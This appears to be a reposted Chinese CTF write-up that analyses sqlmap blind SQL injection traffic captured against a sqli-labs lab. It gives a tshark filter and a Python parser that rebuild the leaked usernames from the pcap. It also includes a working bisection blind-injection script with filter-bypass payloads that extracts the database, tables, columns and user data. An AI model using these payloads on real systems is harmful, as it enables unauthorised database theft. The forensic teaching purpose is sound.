sqlmap盲注流量的一點分析


前段時間給校賽出的一道題
之前也寫過一篇sql盲注流量的簡單分析BUU 流量分析 sqltest,這次出題想出類似的知識點,所以抓了一段sqlmap的盲注流量。自己分析的過程中意識到之前的做法還是不太嚴謹, 對上一篇做一點簡單補充
題目附件不給出了,大概過程是用sqli-labs搭建靶場,然后用sqlmap跑一下less8, 同時開wireshark捕捉流量

分析過程

還是要回到sql盲注的原理上來。
我們知道,在盲注中,數據庫運行返回結果時如果只返回對錯而不返回數據庫中的信息時,可以采用盲注,攻擊者需要根據頁面返回的不同來判斷信息。而且盲注大部分情況下采用二分法來加快這一過程。一個盲注盲注腳本如下:

import requests

# url
url = "http://xxx.xxx.xxx.xxx/Less-26a/?id=1')^({})^('1'='1"

payload = {}
headers= {}
result=''
for i in range(0,800):
    low = 32
    high = 127
    while low < high:
        mid = (low+high)//2
        # 查數據庫
        database = "oorrd(substr((select(group_concat(database()))),%d,1))>=%d" % (i, mid)
        # 查表
        tables = "oorrd(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=database()),%d,1))>=%d"%(i,mid)
        columns = "oorrd(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='users'),%d,1))>=%d"%(i,mid)
        data = "oorrd(substr((select(group_concat(username))from(security.users)),%d,1))>=%d" % (i, mid)
      
        # 根據需要查詢的內容改變參數
        response = requests.request("GET", url.format(data), headers=headers, data=payload)
        
        if 'Your Login name:Dumb' in response.text:
            low = mid+1
        else:
            high = mid
        #print(low,mid,high)
    result += chr(low)
    print(result)

如果我們在分析時只分析了攻擊者發出的流量,沒有分析返回內容,而是粗暴地用最后一個字符,最后會得到一堆亂碼

所以,更合適的寫法是把payload和返回數據都提取出來
用tshark過濾

tshark -r sqlmap.pcapng -Y "ip.src == xxx.xxx.xxx.xxx && http.response" -T fields -E separator="~" -e http.response_for.uri -e http.file_data > data.txt

簡單解釋一下,ip.src == xxx.xxx.xxx.xxx 是服務器發出的包(這里不告訴大家ip地址了),http.response是指過濾http返回內容,-E separator 是設置輸出分隔符,-e 代表輸出流量中對應字段,在這里輸出返回包中的uri和數據

腳本

import urllib.parse
# 讀入數據,數據中存在不可見字符,因此用rb模式
f = open("data.txt", "rb").readlines()

# 注入語句。
pattern = "AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM `security`.users ORDER BY username LIMIT 10,1),"
# 注入成功
trueInjection = "You are in..........."
temp = {}

for i in range(0, len(f)):
    line = str(f[i])[2:]
    # 上一步插入的分隔符,把數據分為url和data兩部分
    if line.find("~") == -1:
        continue

    url, data = line.split("~")[0],line.split("~")[1]
    
    url = urllib.parse.unquote(url).strip()

    positions = url.find(pattern)
    if positions != -1:
        # 截取參數,data1 表示第幾位數據,data2表示這一位數據的ascii值
        data1 = url[positions+len(pattern):].split(",")[0]
        data2 = url[positions+len(pattern):].split(">")[1].split(" ")[0]
        
        # data3: 注入結果的判斷
        if data.find(trueInjection) != -1:
            data3 = True
        else:
            data3 = False
        if data1 not in temp:
            temp[data1]=[(data2,data3)]
        else:
            temp[data1].append((data2,data3))

    else:
        continue

# 盲注使用了二分法,所以也要根據這一點寫代碼解析數據
text=""
for i in temp:
    small = -1
    large = -1
    for j in temp[i]:
        if j[1] :
            small = j[0]
        else:
            large = j[0]
    if large != -1:
        text+=chr(int(large))
print(text)

轉載注明出處
author by 雲千
2022/4/21


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM